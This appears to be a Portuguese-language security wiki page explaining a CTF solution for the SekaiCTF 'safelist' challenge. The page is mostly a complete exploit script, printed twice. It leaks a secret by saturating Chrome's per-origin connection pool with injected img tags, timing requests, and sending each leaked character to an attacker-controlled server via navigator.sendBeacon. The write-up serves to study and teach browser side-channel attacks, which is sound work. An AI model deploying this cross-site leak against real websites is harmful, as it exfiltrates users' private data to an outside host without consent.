Connection Pool by Destination Example

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Em este exploit, @terjanq propõe mais uma solução para o desafio mencionado na página seguinte:

Connection Pool by Destination Example

Vamos ver como este exploit funciona:

O atacante irá injetar uma nota com o maior número possível de <img tags carregando /js/purify.js (mais de 6 para bloquear a origem).
Em seguida, o atacante irá remover a nota com índice 1.
Depois, o atacante irá [fazer o bot acessar a página com a nota restante] e enviará uma requisição para victim.com/js/purify.js que ele irá cronometrar.
Se o tempo for maior, a injeção estava na nota deixada, se o tempo for menor, a flag estava lá.

Para ser sincero, lendo o script senti falta de alguma parte onde o atacante faz o bot carregar a página para acionar as tags img, não vejo nada assim no código.

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

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PreviousConnection Pool Examples NextCookie Bomb + Onerror XS Leak

Last updated 6 days ago

<html> <head> <script> const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } }; </script> </head> <body> </body> </html>